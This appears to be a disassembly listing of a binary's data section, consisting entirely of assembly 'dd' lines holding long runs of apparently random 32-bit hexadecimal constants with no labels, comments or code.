		dd 5703E667h, 480581D1h, 0FBDD49BAh, 0D646140h,	0A789468Eh
		dd 33ADCDF0h, 9E95FCE8h, 0CBDC1713h, 0BD48D03Eh, 26B68310h
		dd 0D52617DBh, 53255D2Bh, 454103E7h, 0AD957DEEh, 0A306DC51h
		dd 0AD657F4h, 0D9CE7574h, 4FCED552h, 0C08D9A86h, 6B7D8B18h
		dd 9854519h, 0E901D306h, 73FEBDD0h, 0E73E7ECBh,	47548729h
		dd 6E162440h, 821B480Fh, 0C5018738h, 479EE0E1h,	7B97591Eh
		dd 54238416h, 81A43166h, 4E450176h, 25BA80F7h, 0B0166F1Dh
		dd 1A924A0Ah, 0A4AF10C5h, 8B3F09C5h, 0CA2165BEh, 17975C09h
		dd 1CC140Dh, 67058841h,	0B6A9C29Eh, 0BFC6F6C4h,	6AC6C309h
		dd 0A42EFF85h, 9EDCA0B9h, 0FB9ED412h, 8E257242h, 68305DD1h
		dd 0A142E7E9h, 50B5F31Fh, 748B0E2Ah, 1AF5D98Dh,	959EC48Eh
		dd 0E76954D0h, 3E7040C3h, 0DD97AD12h, 5F8DD7ECh, 8FF5CFE8h
		dd 0EAC5BFC9h, 0FAC3FC66h, 70AA675Ch, 76B9A7h, 159EF46Bh
		dd 0D949456Ah, 55E1DA25h, 0FF6DFFDh, 0AA9413D7h, 18DA28Eh
		dd 0EE18184Eh, 5E4C084Dh, 351594D2h, 1CAA6F3Fh,	3571E5ABh
		dd 0FCFAF2FDh, 1C4C035Ah, 793D3EC0h, 89B38587h,	0C765CD3Fh
		dd 699BB06Bh, 0BE7A6BBh, 4D215C3Eh, 366BC2D0h, 19312C55h
		dd 0B734E056h, 0D3B508Dh, 0CE958E16h, 391463A4h, 0BCD86710h
		dd 5EDEB133h, 2B6B46Fh,	0F39CD239h, 0E0D64054h,	0A18D5DEBh
		dd 77294336h, 0A5D06170h, 32D27412h, 20ACD54h, 74516B37h
		dd 0AB246F0Fh, 7970286Fh, 714A3CB7h, 770C97EDh,	9E5AA87h
		dd 0F6FC18B5h, 0AF19C207h, 44BD4B4Eh, 0D35ABA27h, 948D6C4Bh
		dd 0E3F9DCBEh, 6A26DB8Dh, 0FB1445A6h, 39D2B267h, 5EF3901Fh
		dd 0AC8F490Dh, 735D8F70h, 2F4B6F15h, 0E34B04E0h, 2E94DDE8h
		dd 6E6E1928h, 0E45F5A2Bh, 2EA47EF8h, 0CFC097F6h, 40C133B5h
		dd 0F32847h, 82EA4696h,	3B8C7256h, 9EC24CF3h, 0E7E0873Ch
		dd 0ED0CB37Eh, 7D7A3638h, 0C27117D8h, 0C3D1F099h, 2CBC92B0h
		dd 78A7AA99h, 0A268129Ch, 1B386C0Dh, 0E8271BB3h, 6E68428h
		dd 0EA8A460Dh, 42AA29AEh, 6059C288h, 60256CDFh,	77063AB1h
		dd 5ACEE3C7h, 80BF027Fh, 558A482h, 9778F5BFh, 84ADDCAEh
		dd 15664A0h, 5924D7BCh,	0FAEA99F2h, 0A1AE1D85h,	7771AAB5h
		dd 0B4F5B4FAh, 67ECF9E3h, 0B5440C20h, 982736A6h, 0F1102F41h
		dd 9ABB8D73h, 78E34559h, 901DEC0Ah, 3031A6F4h, 89A9CC10h
		dd 52427387h, 4E23DB8Bh, 33B3CE6Eh, 0FB8FE13Eh,	0B7563B3Ch
		dd 0FABA7F37h, 0B26F8EB5h, 1B551DDCh, 0C6ED0D60h, 0F4A108E2h
		dd 0E61C0610h, 44ED0907h, 70A787E9h, 631BBC4Eh,	79116B05h
		dd 1C8AB100h, 2A90C011h, 0FDFD28C7h, 1EE0F17Bh,	0BE3FA5D9h
		dd 0D6FA0B63h, 1B331DDBh, 268F073Ch, 144584DCh,	46AAB6CDh
		dd 0D75E793Bh, 91A1573Bh, 5C2D0142h, 7CF2A866h,	658427F0h
		dd 596067E4h, 7135BA2h,	0F1F0F7F1h, 0E22C6E04h,	2D49BDA5h
		dd 6CE07536h, 0B969518h, 0C0F20E8Bh, 18D0C5C8h,	762760EFh
		dd 5D6DF43Fh, 0F5BC9D84h, 48BE306Ah, 7B5D6586h,	38CBF0Bh
		dd 36510358h, 8BC3D6F6h, 0E33972F8h, 0DC185FA2h, 15504430h
		dd 0B41CDF46h, 86C7E512h, 42B89E86h, 0CE77DDFDh, 0CB75FCF3h
		dd 3557A6AEh, 0C1630D09h, 82D5EA8Ch, 7CB6646Bh,	12C4D249h
		dd 914E0DBCh, 8560830Ah, 0FC3AE7B9h, 3D8212A6h,	0DB1BAC76h
		dd 0C07C345Ch, 0D898DB1Eh, 0DCAE6E14h, 7FBC57D7h, 32CF7BE1h
		dd 0B032947Eh, 2D64A268h, 23A16BC4h, 93D251E6h,	0EB706821h
		dd 2734EA1Fh, 0ECF0D60Eh, 0C0512ACBh, 0AFEEE3FCh, 5AD040DAh
		dd 2DA0AC2Eh, 0A653EFD6h, 91DB0E59h, 0EC9F2589h, 4D739EACh
		dd 0FBD5E535h, 333C6A52h, 0E774D362h, 0A008FFAFh, 0E42D0D31h
		dd 0E47E6B3Ah, 9B1F030h, 0CFE1395Eh, 0F10EC45Fh, 0EB79FE40h
		dd 0CB9DFECAh, 5DD4011Fh, 0C9B0BA1h, 0AE65ED31h, 7C2C34Fh
		dd 0CD4BD8A7h, 2CFBAE4Bh, 628EE8F7h, 0CE40B721h, 922CEA59h
		dd 6449E78Ah, 24787513h, 0B2CA9AB2h, 0F577C20Fh, 9B995E6Ch
		dd 1CC96DCFh, 0D7BD1DD7h, 174635A7h, 65897F89h,	0FAE00623h
		dd 0E04790A4h, 97E01C3Ah, 0C5CF0394h, 8CD3FD62h, 0E3B45AE0h
		dd 3C8D5015h, 67E24FB4h, 23DB0045h, 35E9B9BAh, 0A2B62542h
		dd 13AC7420h, 564D27B9h, 0B27CD94Bh, 8FA6B270h,	0ECA24276h
		dd 0C99BCF3Dh, 40CCC4Bh, 0E6AE884Bh, 508202F7h,	5B0C46EEh
		dd 293CC550h, 0DF519CFFh, 0B757F724h, 0A85C076Ch, 56D13F07h
		dd 3D670203h, 560BB2D6h, 0DEF74111h, 0EBB675ABh, 815656B2h
		dd 0E030DF68h, 0C1A03D54h, 72CCFA05h, 0AAECCF36h, 0EB8391E9h
		dd 0D6D7578Ah, 0A86D2226h, 16C1D5F7h, 0EB75F86Fh, 14C9B3A2h
		dd 339A7784h, 57C8524Ah, 0E264F365h, 5D22723Ch,	9F2CB208h
		dd 8698DB29h, 0B934CB0h, 0AF98B8AEh, 0CAD640DDh, 93001CE7h
		dd 0D871D099h, 7213752Eh, 36F4D45Eh, 0A533E3D9h, 0B8BB67D4h
		dd 0BD9BE9BCh, 0D4648C88h, 0E33FE3Eh, 19006300h, 2B9AE66Bh
		dd 0A457D889h, 40D0ADC9h, 0AE15695Fh, 48431424h, 0E7FFBD44h
		dd 66634A2Ah, 9259C900h, 91FEE057h, 0F84222h, 0E0C5D6FEh
		dd 375904Bh, 8A419B0Ch,	24E11A6Ah, 0E9476D97h, 0ED381498h
		dd 0F00FAEABh, 0FCB80CD2h, 0D5E77B7Bh, 0D90B860Bh, 13BE99A8h
		dd 100B73CCh, 85C7A490h, 0DCEEE890h, 0DFC86ECDh, 39C12969h
		dd 9B9B6955h, 0D37566A2h, 8616BB8Bh, 4F634ECAh,	0B05A4A72h
		dd 5EC7FEE6h, 0A7EF49B8h, 43ED771Dh, 26C1326Ch,	0A8A389E0h
		dd 0DEFEC2A4h, 9DD89A5Dh, 64844E44h, 0FA76B5EFh, 0CAE232BCh
		dd 6AA99FF3h, 3079A094h, 0A3C70D2Ch, 572FAE2Ah,	79BE7421h
		dd 0DE01C8C5h, 3A9EE51Fh, 76371E41h, 5B4CEEDBh,	0DE14CD3Bh
		dd 83F7812Dh, 0D29EA072h, 0C73625C2h, 1339BBD1h, 5CC0F59Eh
		dd 7D1798F8h, 72EFE2F4h, 8427576Fh, 615F8587h, 0D55F89FCh
		dd 53518B5Fh, 0F259C5FCh, 151829BFh, 376E1371h,	75B1E547h
		dd 572867C1h, 57C19652h, 5D630161h, 0E1251D0Dh,	0C1DC4C71h
		dd 0D917EBE9h, 4459C42Eh, 17B17F50h, 500E6A45h,	136CC913h
		dd 0E2C2BD77h, 0B0A2527Eh, 98FA559Dh, 0A2073F73h, 629277BFh
		dd 1B5007B9h, 9587DDB6h, 5E0C3D7Fh, 0F3F9019Ah,	60FE481Fh
		dd 45F9C8E4h, 3DC301E0h, 7E0340DBh, 76798130h, 2C572A56h
		dd 63893C20h, 191C1EFh,	0B584E987h, 182DE42Fh, 0BC84DEEAh
		dd 61688A7h, 4F92E455h,	52BD66B8h, 0DFB92891h, 0BE4DD02h
		dd 0C95012B1h, 6F19218Ah, 482310E6h, 9393BAB0h,	535BE0BEh
		dd 0AC3D2AFCh, 88DD67C0h, 0ECB7C575h, 0CFE0EF81h, 53EAADBDh
		dd 0BE97555h, 788E8541h
		dd 3322F7E7h, 24CC4F70h, 8EC734A7h, 12C498EEh, 35B5AA9Ah
		dd 0D900DD30h, 0DF0BF2B8h, 0BD6D11EAh, 21AB8578h, 59B52218h
		dd 0D10CD3C6h, 822C9FCCh, 5652075Fh, 78AE4788h,	93A4DCB9h
		dd 0D3E52BD6h, 0A6DBD3F0h, 6EFAD2FDh, 6E60E11Ch, 71215893h
		dd 85EC95A4h, 393F8BC2h, 4BE01DADh, 254374C1h, 821270E2h
		dd 1399E098h, 0B5FE2300h, 44C9C25h, 0AD94AB37h,	19A46647h
		dd 90B75DB8h, 5C1994C6h, 0C4A987AEh, 1C58DE5Bh,	1952F7F7h
		dd 0C38F0260h, 0CAFFBDC7h, 3C2A7833h, 2631B49Dh, 2F5D7F3Ah
		dd 76823E57h, 0BE1D6DF4h, 0D4B3FC7Fh, 4A8F513Ch, 56129BBEh
		dd 0F73DB35h, 0BE252A5Fh, 738D2F46h, 3721D9EBh,	0DA3C8178h
		dd 3A2E1790h, 7AC3C153h, 55997FBh, 97CC32h, 0D7F3E05h
		dd 277D8A64h, 2956CD94h, 0DD467D46h, 947244C7h,	97E1E330h
		dd 0F65DDA1Ch, 0C8CA378Fh, 0B0B39EC6h, 0C3DF17ACh, 9B3D7DB8h
		dd 0C192A897h, 38195AC4h, 9A9A9ABDh, 7C744C48h,	0E18AF24Eh
		dd 0C5C6E1EDh, 0A0B55853h, 47B4FFFEh, 2006550Ch, 47C5CB59h
		dd 165005AAh, 42E7DE50h, 0D5611DECh, 0E4194B38h, 18ED5680h
		dd 0B1EAE2A5h, 0B1440BDCh, 7A050F54h, 0CFE4F502h, 9ACBABA8h
		dd 1D5F8FC2h, 36C1DFA7h, 0C33C0B9h, 0C5C66696h,	0AC0AE1E3h
		dd 0E7DCCFF9h, 0BAD9A671h, 0C28F21B7h, 0FAB85B23h, 3A9F4A1Ah
		dd 743EA825h, 17EEB659h, 23ED0395h, 2E6CBE21h, 0EC4F097Eh
		dd 71EBB357h, 0BADAE745h, 8A69D00Bh, 0F026FA77h, 0FBE9CB61h
		dd 174F77E5h, 0AA15B8B2h, 76EA5299h, 0F1BC4149h, 4969CDB3h
		dd 0E39ED6A0h, 0CC0E9DD8h, 48E081C2h, 0F9507789h, 6FDF6E7Dh
		dd 8A7061BFh, 85C5337Fh, 0DE6D81FAh, 0DC488C39h, 445FEF5Bh
		dd 0CE2A0DAFh, 0C904A98Ch, 544A8093h, 2380542Bh, 72509E0Ch
		dd 900BB07h, 0E8B8C874h, 22883F64h, 0ABCAD203h,	78B9DC4Ah
		dd 81E3E37Ch, 0B3E3D882h, 4DFAFC1Ch, 0B4F8D3CBh, 3B48D2CAh
		dd 0CB8640D0h, 0CE4340A8h, 5519ED0Fh, 41CD1595h, 70497F41h
		dd 8D625F80h, 40447403h, 84E91791h, 8C16A079h, 0AB48C691h
		dd 5F093F45h, 90FAEB6Bh, 289D430Ah, 1F97E68Eh, 43C9ADAAh
		dd 0D7C69D7h, 0CFC25749h, 0E6F29B1Dh, 498E64ECh, 0CD4DD329h
		dd 4AF4A324h, 2363469Fh, 32E2A227h, 0BC7CB9B6h,	0A218B9C3h
		dd 0F3F585D7h, 60D00A52h, 0ADF72569h, 0C9E770B2h, 2862D69Ah
		dd 94145308h, 5F26FCA4h, 75FA0DCCh, 3E4F780Eh, 7122B261h
		dd 0CB7E458Dh, 232E38C3h, 0F1F05444h, 79B97413h, 0F130C2E6h
		dd 64A2D8C8h, 4901A8A0h, 8B3D981Dh, 0A2C80986h,	18F427E2h
		dd 0BAE2D415h, 0EEA37C02h, 49463A49h, 2B5B0E14h, 0DDD5C59Ah
		dd 0AAEC30ECh, 101AEDh,	0B408795Ch, 3B2F834Ch, 0C335748Fh
		dd 0EA48F3FBh, 0AAE3861h, 0D1AAFA1Bh, 7192B797h, 340ADDF2h
		dd 24966619h, 0AD41A977h, 79D7ED56h, 4B622E9Eh,	6B6F9DA5h
		dd 0FEED2496h, 0C626C674h, 6099651Ah, 8CAF4AB7h, 0C4D42363h
		dd 5CF0F486h, 8CA347A6h, 4F2A68A3h, 4A0D1697h, 2D62DAB2h
		dd 47A26770h, 8EE44D6Bh, 0F91F9006h, 0DE580472h, 1A9CAA48h
		dd 0D8F81DDDh, 5E83D84Fh, 0BABEE4ABh, 790E496Bh, 0DAB10864h
		dd 4BED161Dh, 0FAAA32FDh, 872187CBh, 0F41E9E1Fh, 8DEDA67Dh
		dd 0B5D96B0Ah, 2EAC182Bh, 0CCE03BCBh, 6EF61BB9h, 0FD99AC44h
		dd 7D4A8D33h, 37F217A0h, 0F1E04BFAh, 839750F2h,	203EA9Fh
		dd 81F0D4ECh, 31269312h, 0EB91AA35h, 81AC976Ch,	19BD4D3Dh
		dd 787A25C8h, 85617904h, 0FA97492Bh, 6F154064h,	2FD388FAh
		dd 75264D65h, 5694EE51h, 82C89D13h, 371C4949h, 0EC4495F8h
		dd 7B7D023Fh, 0EE4760C7h, 725982F9h, 0DBC71CFBh, 95DEE037h
		dd 3AAC0AF9h, 0B1637DDBh, 0D8C6915Ch, 22E1D1A3h, 18DAB60Fh
		dd 0E702A034h, 56CB5476h, 0D25368Bh, 0BB78D802h, 6DFA0D76h
		dd 915AFB88h, 0CAEC7516h, 2A5BD187h, 84FABABh, 0C7D14573h
		dd 4B5A0C66h, 0ECCD14F1h, 6967415Bh, 80BFAB4Ch,	0C51C2690h
		dd 9BCDCEEAh, 0D88E3116h, 0E51F4F66h, 0C3576411h, 59BE29E4h
		dd 55CA4242h, 25F3831Ah, 0DB9999A8h, 654F9634h,	8498439Fh
		dd 2656C68Fh, 68027309h, 3EFE5192h, 488E0B38h, 0F1FF38B4h
		dd 0EF82D393h, 0BFAFD020h, 0EC2C64EAh, 2C05BF10h, 0D7FC0571h
		dd 6D1077DCh, 48268202h, 0E67D3A5Ah, 0E6D0EDCh,	14C9FD93h
		dd 39B79B5Bh, 0DC58B4D0h, 0BBB4738Eh, 5D45ECD4h, 0DDCDDFC8h
		dd 362CB6A8h, 0A6032891h, 0E935E101h, 98F25473h, 47B5E9F8h
		dd 2728CB0Ch, 9C329419h, 26B8C04Ch, 5A503D65h, 0DC841CC0h
		dd 0DAB028F1h, 24D22F44h, 0F9B6A69Ch, 46BC39DCh, 37D10387h
		dd 0B0E05A03h, 0BC006EE7h, 186F4139h, 2BBCD62h,	9FDB8500h
		dd 9705C787h, 0D7AF3B33h, 0D86C02D7h, 8BE0C25Fh, 0E3FCDCF8h
		dd 0A80A782Eh, 51BDBE02h, 4F56B5Ch, 0B4289E39h,	35959624h
		dd 9598245Eh, 711F679Fh, 121EDD03h, 0A68D4B4Ch,	7D648F85h
		dd 0A8CA09CFh, 7519EBE1h, 13097BDDh, 5B24DD65h,	3F2B43F7h
		dd 23C7BEEBh, 0A3600754h, 0CA86F636h, 164E8931h, 0A498ACC4h
		dd 5B4D6DB0h, 5519A697h, 53F698BDh, 1F0E80FDh, 0AF03EEF7h
		dd 5038200Fh, 9C40D643h, 16D049CAh, 42838485h, 2A08EE1Ah
		dd 8E49E4B0h, 9E1A1068h, 0ECDEBF85h, 9409757Dh,	1F8A5EDDh
		dd 33F47AA7h, 0E06AF093h, 0C9264E7Fh, 0DE2842B0h, 3B5497ECh
		dd 97983B4Dh, 305C3026h, 0A93102D7h, 9EC58239h,	0E189BD30h
		dd 202BCC1Bh, 3EFF92EEh, 2857E382h, 3A663A4Ch, 0ED6A3436h
		dd 0A8D715B9h, 83BA8BC8h, 235C55EEh, 1044F9Ch, 2833A73Eh
		dd 0B0399326h, 0EE7A6CB1h, 66250C76h, 960F3054h, 4DD74B7Eh
		dd 97E5A522h, 9D4E4BFDh, 8C6EB48Eh, 627CE525h, 6BA624Dh
		dd 0E38DE1CEh, 73B3A65Bh, 34A93332h, 0CD3D6B3h,	3BC7D147h
		dd 73D2DA48h, 0D2407C08h, 7AD8A1DBh, 772709C8h,	67F309F5h
		dd 0CF7C2010h, 0F27528C5h, 0C81F0B84h, 2966F296h, 0E091BC4Ch
		dd 0EBFBB5B1h, 99D222Dh, 7B5EB81Bh, 0CD34195h, 6C3ED0D0h
		dd 9C019EBh, 0E40EAD85h, 6D461463h, 494DEA61h, 76713C13h
		dd 3E163EF5h, 4EDE421Dh, 0F9795922h, 0AEEEF558h, 8D9414FBh
		dd 0B1700FA8h, 0DE74C938h, 0A8D61853h, 336ADF8Ah, 0C541068Bh
		dd 5BBE53D1h, 78C55553h, 54F1D60Bh, 0FEB80A78h,	920C672Ch
		dd 3F8C222Eh, 3382657Fh, 4E78C6E5h, 3078BA2Ch, 0C08F777Ch
		dd 72EC9083h, 634A5F3Ah, 135FA34Ch, 0C2C295ACh,	1E41A269h
		dd 8A8DBDB1h, 44F52D38h, 0FB49B062h, 3499F344h,	7301FB4Bh
		dd 3D7A7DEh, 3B5DF272h,	0D22F71A2h, 7F029CB5h, 4FB4ED1Bh
		dd 67DDCF2Bh, 78C60355h, 0AF17A169h, 6B5DAAD1h,	5E32F29Eh
		dd 5E6AA98h, 11B00783h,	0B1FA4F96h, 8B3FDC9Fh, 770DF75Eh
		dd 0CDE3266Ah, 0C7DA990Eh, 3165EEE6h, 0F73EED60h, 0C5DED9Fh
		dd 364065F1h, 9E42F05Fh, 0B8554FFAh, 0E23F705Fh, 0F57E0940h
		dd 14783300h, 0CB095EAAh, 7E32A44Fh, 9C8A887Ch,	958C2EDBh
		dd 0F3E1CC2Bh, 46871D5Ah, 0B22AAE63h, 5602977Ah, 8F008F69h
		dd 637DD12Ch, 0DAFCE8DEh, 0C2541F9h, 0E426AEBCh, 6EFD994Fh
		dd 3056C38h, 460B9B7Ah,	52D9571Eh, 0B6DCE86Eh, 0D4A94E09h
		dd 0A9D2919Fh, 528F6DF7h, 0E6FAC080h, 0E48912A3h, 0F69C10A3h
		dd 0A22DB36Eh, 904BA9DBh, 0FB799DC1h, 7D0BEA4Ah, 0EE3FD184h
		dd 0C6B49C7Dh, 0B4F804A1h, 3F2ABDDAh, 0F91F8835h, 0E74EFA47h
		dd 692E252h, 449E1956h
		dd 0E4D2E29Eh, 0F054F646h, 302C7588h, 5450C2DBh, 6972291h
		dd 70C95F03h, 32C0143Bh, 15A59837h, 0A3E8A501h,	0AAEC2A09h
		dd 0AC265AFFh, 92160C72h, 8F39BEA7h, 9E70E124h,	0EC5F23A7h
		dd 0D185CB28h, 7E8A9895h, 1EF2912Ah, 1A922CBEh,	0A96F160Ah
		dd 0CC493DE9h, 0B3211FD0h, 734D9BC3h, 0C7ED6125h, 0BC2E21BAh
		dd 0CD3E1766h, 0FCF4883Ch, 0F89B454Ch, 3E291058h, 8DC68179h
		dd 0BA9A0280h, 0C0549962h, 622C22FFh, 9F3D466Eh, 0D116EB39h
		dd 7E181167h, 0BFA92F2Ch, 5DF6ADAAh, 452D4107h,	0F679CAD3h
		dd 0CB0CF3E6h, 0B24D615Dh, 0FBD0E9EFh, 8B60D551h, 1B8E0FF1h
		dd 4F9803ADh, 5496B70Fh, 5EE33F64h, 0F9C91C75h,	76286437h
		dd 0F34C1FBAh, 24450E7Bh, 2CA729A3h, 79D6B11Fh,	98E4E74Dh
		dd 0EF9932ADh, 0EB96D6CBh, 0B2197416h, 721E396Ah, 0BF88E1FAh
		dd 3E9E3F48h, 97E8B82Dh, 0F7AE8038h, 79C369B4h,	0C5161A8h
		dd 43B7876Ah, 244B2A27h, 956E1CAh, 261A082Ch, 709FDBF8h
		dd 0D7AC87Fh, 74197E38h, 3CC7FAC6h, 23D062CEh, 1E928B36h
		dd 1FB1C645h, 0E61F36B2h, 725C565Ch, 3CE29BF3h,	1EE5F75h
		dd 0D8F99B40h, 0F4AC8461h, 0A95ACF3Bh, 0EDC34E4Fh, 7F9F0BFDh
		dd 1DE24815h, 0E1FFB18Ch, 0DDD791E9h, 0DC4DD94Eh, 0E28B4D84h
		dd 4BE420B3h, 625DF558h, 0D70707E3h, 0A6E7C406h, 0C280E1A6h
		dd 79C8B36Fh, 9DB4AB6Fh, 5E4C501h, 6E53DFBDh, 0FF3D460Fh
		dd 9D644EB4h, 7820C01Bh, 4CDF5D63h, 0C8B4A568h,	0CCACCA51h
		dd 0BBBDB9AFh, 51A0EA17h, 0E5F60E56h, 0D2816D53h, 0F9572ABh
		dd 0F2C7DF68h, 0C52871CCh, 15F19290h, 346FFDB3h, 834DB001h
		dd 90106924h, 0FE7B26h,	0F387BF86h, 5E2A2618h, 0E7479FDh
		dd 111732F1h, 0CC595FD1h, 0F70688h, 2C372A1Ch, 26EBB9E4h
		dd 0ABC25321h, 0E977CBEBh, 9826AD2Fh, 6FCD0BCBh, 7E91E5A0h
		dd 970773EAh, 1B3279A3h, 6E5BB34Ah, 14DDC005h, 0ADC172C0h
		dd 446E87B4h, 50718719h, 0D5E7D61Ch, 2E79FF04h,	3CAB69F6h
		dd 1CE887C4h, 0E0CAA718h, 91C76F09h, 0F887C43Ah, 2DB4E54h
		dd 0D7B67256h, 0B75D76F8h, 615342Bh, 7A8EBE4h, 88A26895h
		dd 0E5F38367h, 831F5724h, 0DA4F6177h, 0C6AA03A6h, 25D47929h
		dd 68FD2EC8h, 8FA335DDh, 0F14F9D1h, 45087AAEh, 1E65268Bh
		dd 49367C18h, 5007D5F7h, 0C29334A6h, 0F6B6319Ch, 9A68BB47h
		dd 0D487EE0h, 0FD033BA9h, 0BE0E6423h, 8E888577h, 2D143B0h
		dd 0A9ECF08Dh, 984A9A0Eh, 36E8E969h, 78E9A1C7h,	164A4C52h
		dd 81526031h, 56BC1C4Ah, 873A178Bh, 57B72567h, 95406309h
		dd 0CE03CB6Bh, 0CC32204Fh, 44407C65h, 0B742F080h, 77CCFEE4h
		dd 0BD3690CCh, 98DEC48Eh, 0AA51FFF8h, 0F9A93148h, 57B61C81h
		dd 0D8F58A13h, 0AFF199C2h, 0FC3B0C9h, 86822EEEh, 0D6E21539h
		dd 0BECE726Bh, 4E4C1170h, 5E2F94BAh, 5DB3D826h,	0F4F77EC9h
		dd 3D23E960h, 0B79A2794h, 15CFA9D2h, 20A56F85h,	91A51FF9h
		dd 6B7CCAD9h, 8C541EE8h, 2437C682h, 0A6D3E25Bh,	1921EC02h
		dd 0D9010FA2h, 4607C13h, 0A3286BA3h, 0FBB3E140h, 3773BCCFh
		dd 2D847205h, 0F31BD4F9h, 8921DC7Eh, 7005BBD1h,	8FB8720Dh
		dd 0D43D104Ah, 5FD8E377h, 0B56E6EDDh, 8E5965CAh, 0D1307D4Dh
		dd 4BC256C8h, 1EEF89D2h, 0A49AD2FAh, 9546D895h,	7E42C7EBh
		dd 7C127095h, 0DD05825h, 0E7A48087h, 527EBA35h,	0D36001C4h
		dd 0EDA69C42h, 72CCBF48h, 8FA8118Eh, 4C6677A3h,	99390248h
		dd 38FC3BDCh, 2978F4A1h, 0E929BD8h, 3F68F0AFh, 71059623h
		dd 0C4E56DE7h, 384EB54Dh, 0DA01BD04h, 0CEE558F7h, 9D084242h
		dd 189F7BD8h, 4F0CF3F0h, 194FE893h, 0B4FADF37h,	0EFC8C142h
		dd 0F76A4DB2h, 0C7782225h, 30AD8EC5h, 0DF4844D3h, 829A38F8h
		dd 16EE843Fh, 0C7ACB906h, 0B9424DFDh, 44E56264h, 41976D17h
		dd 7D3F77B3h, 1E00FFE6h, 0F1C87136h, 3F6D7754h,	8835C4DAh
		dd 0FDD32A27h, 7BA63CFFh, 0A4085BBh, 2771845Dh,	1FB051E1h
		dd 58A6459Eh, 0F8E4EEC5h, 7215CA6Ah, 6843F453h,	0ACFFB01Fh
		dd 6D2C98B3h, 710ADEA9h, 67B89098h, 191314B1h, 91C13ABCh
		dd 0F6BF1ED9h, 7D1635E3h, 89912329h, 0A10C37A5h, 7C27411Dh
		dd 1942E9DFh, 947BA358h, 5A022481h, 38BB60Fh, 7ED54DF1h
		dd 6460323Bh, 760DB87Dh, 1AA8C646h, 17E0AD9Ah, 9B15686Dh
		dd 59DF82D4h, 344E029Ah, 182ECC84h, 628D2142h, 0B830DB6Ah
		dd 1C8CBDF0h, 0AA94E5CDh, 422C3A21h, 451E083Fh,	0DFE510F9h
		dd 4617A52Bh, 6B7F5E7Fh, 0E2BE1B7Ah, 0EEE471ACh, 3E65EA3Fh
		dd 72E96E43h, 5DF3968Bh, 1E533403h, 3738CA91h, 240F943Ah
		dd 59B01268h, 0FF25AD2Eh, 0E8B69220h, 223DF03Ch, 8B01C5CDh
		dd 8101072Fh, 547A2927h, 0F6A337FFh, 0C20CCB6Bh, 9F72D41Dh
		dd 0F6A6EF3Ah, 0C2F615D9h, 33CF9D57h, 0A22FE688h, 763409C7h
		dd 0DE54734Ah, 0D11B5000h, 0BC610893h, 0F4B3E668h, 6355EC7Ah
		dd 0E6E83DE3h, 2A7EA9ECh, 45719BBCh, 0AE946C60h, 51343DDh
		dd 455B2058h, 147B9093h, 86BE8970h, 0D5CFB46Eh,	0C2492823h
		dd 41B1BBEAh, 0CA7F1897h, 4C372772h, 0AFD036F4h, 4BFEDB3Bh
		dd 0AF38D9D4h, 9C3F9102h, 1FB8650Bh, 0C481CD7h,	0EE3912AFh
		dd 884526CCh, 0C1BEF8CDh, 0DCBF4EADh, 8C90BB78h, 2DB33BBAh
		dd 0F10F7A66h, 0E8DF339Eh, 4426F9A9h, 595952ECh, 40CC51DFh
		dd 3F9DE063h, 8CEA2FE5h, 38A8524Dh, 0FB8C5303h,	2167C5CAh
		dd 0A2F6D3FDh, 0AED2F1DBh, 803ECE7Fh, 9507F191h, 80166D4Ah
		dd 43583D31h, 0EC7DB098h, 8730E88Dh, 0E5CB3CCFh, 20B2580h
		dd 2E75A1D0h, 16A7DECFh, 3BB712D7h, 1E36B91Ch, 81F49FFFh
		dd 0A93172A5h, 0AA74F351h, 9CCDB70Bh, 0DC543FEBh, 0D6B7860Eh
		dd 33DDE76Eh, 0BACC1CE9h, 3EBB1FF5h, 956D6139h,	0E7297049h
		dd 6B389492h, 780410BDh, 53D151D5h, 9BE87633h, 41BB205Ah
		dd 9ADA5CD1h, 5671E42Fh, 3C995D36h, 0EDDB3808h,	3115EB5Ah
		dd 3E8F14E6h, 77761C11h, 0FA27ABDEh, 4EBC7B12h,	2E04E2D3h
		dd 0DFA9A5EFh, 9193EA09h, 0C55A37Eh, 2A0AABDFh,	0AA8E9AA7h
		dd 2A4052E6h, 0CDBFBD5Dh, 0E8DC4530h, 0D2C5754Dh, 0DE51E8E5h
		dd 0FDA4EBCAh, 0D5FED2BCh, 0AA55655Bh, 0F30AD8CAh, 83077DB4h
		dd 0ECDA6AB0h, 0F29D4B21h, 0A18DD15Dh, 351C86A2h, 6965ED3Dh
		dd 0B0DD7B2Bh, 0C24544D3h, 0B2949DA7h, 80BCB0C7h, 0F2F59E19h
		dd 380E0BAh, 0F8636EF0h, 0E9EAE92Fh, 5DFCB725h,	23BE957Ch
		dd 0A19C776Ah, 271FC9C2h, 7F567ACDh, 0EF9BEF26h, 7C9B6DDh
		dd 9A678673h, 30BEB1D8h, 7D873A5Bh, 0C11D082Dh,	689443B1h
		dd 8C65B085h, 0A2859CC1h, 32EA48AAh, 81346511h,	42400016h
		dd 0FAACF2BCh, 0D195CB81h, 75A64AE0h, 8B3D4D6Ch, 0CA3F54B9h
		dd 127DE36Eh, 0CD2E5172h, 0B3FF1D7Ah, 0B5FAF771h, 38D18FFBh
		dd 13C2CCF6h, 0D85A7232h, 0D0E3638h, 8D6CE668h,	0C325B3E0h
		dd 0B272EAACh, 0B9B88346h, 9BE45AFDh, 8854E3ADh, 0C176CE1Ch
		dd 1B4559F2h, 0BAAF7717h, 0AFD32E7h, 1F824F13h,	2D69AE8Fh
		dd 45961CBFh, 59552D5Dh, 4BBD724Bh, 77E8C4DDh, 6300701Eh
		dd 41BD1BEAh, 34E481B2h, 40CFCDA6h, 5E95AD38h, 7D6DE243h
		dd 0AFB0CD05h, 4028224Eh, 0E3E5B2E6h, 660E4F99h, 0F51CCFC3h
		dd 0F1C8F008h, 0EA709D62h, 68306C33h, 4FA88F13h, 0AB9EF3A6h
		dd 0EF99F3E9h, 514D0B35h, 62E12131h, 0F53CF18Ch, 65AB6118h
		dd 395CE577h, 0A8A93CD7h
		dd 0D85E9CE2h, 6C95934Ah, 0E1A85D1Ch, 3171E8DEh, 0A1A52C39h
		dd 2AFB178Eh, 8EDDDEE4h, 9767D0B2h, 47E1F7BCh, 1090C6D8h
		dd 4617CE6h, 983E549Dh,	819E2E78h, 0E576A497h, 9284D895h
		dd 0F38D374h, 38410716h, 0A1873761h, 924A1236h,	68874D71h
		dd 4C7F71DAh, 0B5818EF0h, 1EB17EA5h, 6E948E97h,	0B6FB228Bh
		dd 0DE890C98h, 8D42C24Bh, 0F41793D5h, 0C04C9DEAh, 0A5BD9CE8h
		dd 17BD9E01h, 34D8AC98h, 54CD4439h, 9FD1D2F3h, 88D2AE34h
